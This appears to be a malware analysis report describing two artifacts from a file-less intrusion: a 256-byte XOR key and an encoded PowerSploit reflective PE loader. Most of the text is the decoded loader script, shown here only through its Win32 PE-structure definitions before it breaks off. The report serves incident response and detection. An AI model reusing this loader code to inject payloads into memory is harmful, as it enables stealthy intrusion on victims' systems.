dec8655cdd7214daf9579ef481d0b0c6ed8120c120d3bd8ec27cb6e1874eb291

Tags

loaderobfuscated

Details
Name WwanSvc.a
Size 256 bytes
Type data
MD5 77b6cc5bca517f2d4c954d3d8c8c67df
SHA1 ff9b181fe3f3b15b37ab8823fc47119c310fc51f
SHA256 dec8655cdd7214daf9579ef481d0b0c6ed8120c120d3bd8ec27cb6e1874eb291
SHA512 a70ff48b0a2a7d8bac1fb4b2df7b27a26e3ce974ae6927611e764a5ebe7892ab468b0a3537c47de7195f7787f5c781d686e4ece0f339174e51563b546cdbaf3a
ssdeep 6:nZmAvoD0jmQw0fCRj6DoSbTrbBKgqtjQUOjv6g7RH:toojn1CRj6DoSbTrl1WQjig7RH
Entropy 8.000000
Path C:\ProgramData\Microsoft
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships
dec8655cdd... Used_By 4de1bd4b1bb28ed0897b9d3c5d16a4b1442c7f53cb389cbed82af189696d3f40
dec8655cdd... Used_By c5a1dbb49ff72a69ac7c52b18e57a21527bc381077b1cea12c3a40e9e98ae6cd
Description

This artifact contains a 256 byte key that is used by the base64 encoded script in WwanSvc.txt to decode a new PowerShell script in WwanSvc.c (d3d5e5a8a40f34fc8d89b2d74d89a4b101d8b95a79e990e3b4161282aa6aca32). The key is also used to decode the reflectively loaded payload in WwanSvc.b (d3d5e5a8a40f34fc8d89b2d74d89a4b101d8b95a79e990e3b4161282aa6aca32).

d3d5e5a8a40f34fc8d89b2d74d89a4b101d8b95a79e990e3b4161282aa6aca32

Tags

file-lessloaderobfuscated

Details
Name WwanSvc.c
Size 121572 bytes
Type data
MD5 23fd1bca24a1f68293096ba9022bd0f1
SHA1 2ab0d1092127268f30490523ec0aa3736416096b
SHA256 d3d5e5a8a40f34fc8d89b2d74d89a4b101d8b95a79e990e3b4161282aa6aca32
SHA512 37ac754b31bc0a8246111e621b544e5c00c6c8330b6858895e35368f39d973b63f24eb73dd0cc9964991f59ea6720c269a55192f4751b8dc7c7e8f958541d3d9
ssdeep 3072:LkBl3uCZsVZFN41v7cV7PBbC4/ggW7hPe1G8zW6:Y2FGZ7ebNFW7hG1fL
Entropy 7.998578
Path C:\ProgramData\Microsoft
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships
d3d5e5a8a4... Used_By 4de1bd4b1bb28ed0897b9d3c5d16a4b1442c7f53cb389cbed82af189696d3f40
Description

This artifact is a XOR encoded PowerSploit reflective loader program. The program is decoded using the 256 byte key found in WwanSvc.a (dec8655cdd7214daf9579ef481d0b0c6ed8120c120d3bd8ec27cb6e1874eb291). The decoded content of the script follows:

---Begin Decoded Script Content---
$PEBytes = $null

function RemoteScriptBlock ($FuncReturnType, $ProcId, $ProcName, $ForceASLR)

   ###################################
   ########## Win32 Stuff ##########
   ###################################
   Function Get-Win32Types
   {
       $Win32Types = New-Object System.Object

       #Define all the structures/enums that will be used
       #    This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html
       $Domain = [AppDomain]::CurrentDomain
       $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
       $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
       $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
       $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]


       ############    ENUM    ############
       #Enum MachineType
       $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])
       $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null
       $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null
       $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null
       $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null
       $MachineType = $TypeBuilder.CreateType()
       $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType

       #Enum MagicType
       $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])
       $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null
       $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null
       $MagicType = $TypeBuilder.CreateType()
       $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType

       #Enum SubSystemType
       $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])
       $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null
       $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null
       $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null
       $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null
       $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
       $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null
       $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null
       $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null
       $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null
       $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null
       $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
       $SubSystemType = $TypeBuilder.CreateType()
       $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType

       #Enum DllCharacteristicsType
       $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])
       $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
       $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
       $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
       $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
       $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
       $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
       $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
       $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
       $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null
       $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null
       $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
       $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
       $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
       $DllCharacteristicsType = $TypeBuilder.CreateType()
       $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType

       ###########    STRUCT    ###########
       #Struct IMAGE_DATA_DIRECTORY
       $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
       $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)
       ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null
       ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null
       $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
       $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY

       #Struct IMAGE_FILE_HEADER
       $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
       $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)
       $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
       $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
       $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
       $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null
       $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
       $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null
       $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
       $IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
       $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER

       #Struct IMAGE_OPTIONAL_HEADER64
       $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
       $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)
       ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
       ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
       ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
       ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
       ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
       ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
       ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
       ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
       ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null
       ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
       ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
       ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
       ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
       ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
       ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
       ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
       ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
       ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
       ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
       ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
       ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
       ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
       ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
       ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null
       ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null
       ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null
       ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null
       ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null
       ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null
       ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
       ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
       ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
       ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
       ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
       ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
       ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
       ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
       ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
       ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
       ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
       ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
       ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
       ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
       ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null
       ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null
       $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()
       $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64

       #Struct IMAGE_OPTIONAL_HEADER32
       $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
       $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)
       ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
       ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
       ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
       ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
       ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
       ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
       ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
       ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
       ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null
       ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null
       ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
       ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
       ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
       ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
       ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
       ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
       ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
       ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
       ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
       ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
       ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
       ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
       ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
       ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
       ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null
       ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null
       ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null
       ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null
       ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null
       ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null
       ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null
       ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null
       ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
       ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
       ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
       ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
       ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
       ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
       ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
       ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
       ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
       ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
       ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
       ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
       ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
       ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
       $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()
       $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32

       #Struct IMAGE_NT_HEADERS64
       $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
       $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)
       $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
       $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
       $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null
       $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
       $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64
       
       #Struct IMAGE_NT_HEADERS32
       $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
       $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)
       $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
       $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
       $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null
       $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()
       $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32

       #Struct IMAGE_DOS_HEADER
       $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
       $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)
       $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null
       $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null
       $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null
       $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null
       $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null
       $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null
       $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null
       $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null
       $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null
       $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null
       $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null
       $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null
       $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null
       $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null

       $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')
       $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
       $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
       $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))
       $e_resField.SetCustomAttribute($AttribBuilder)

       $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null
       $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null

       $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
       $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
       $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10))
       $e_res2Field.SetCustomAttribute($AttribBuilder)

       $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null
       $IMAGE_DOS_HEADER = $TypeBuilder.CreateType()    
       $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER

       #Struct IMAGE_SECTION_HEADER
       $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
       $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)

       $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
       $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
       $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))
       $nameField.SetCustomAttribute($AttribBuilder)

       $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null
       $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
       $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null
       $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null
       $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null
       $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
       $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null
       $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null
       $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
       $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
       $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER

       #Struct IMAGE_BASE_RELOCATION
       $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
       $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8)
       $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
       $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null
       $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()
       $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION

       #Struct IMAGE_IMPORT_DESCRIPTOR
       $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
       $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)
       $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
       $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
       $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null
       $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
       $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null
       $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType()
       $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR

       #Struct IMAGE_EXPORT_DIRECTORY
       $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
       $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40)
       $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
       $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
       $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null
       $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null
       $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
       $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null
       $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null
       $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null
       $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null
       $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null
       $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null
       $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()
       $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY
       
       #Struct LUID
       $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
       $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
       $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
       $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
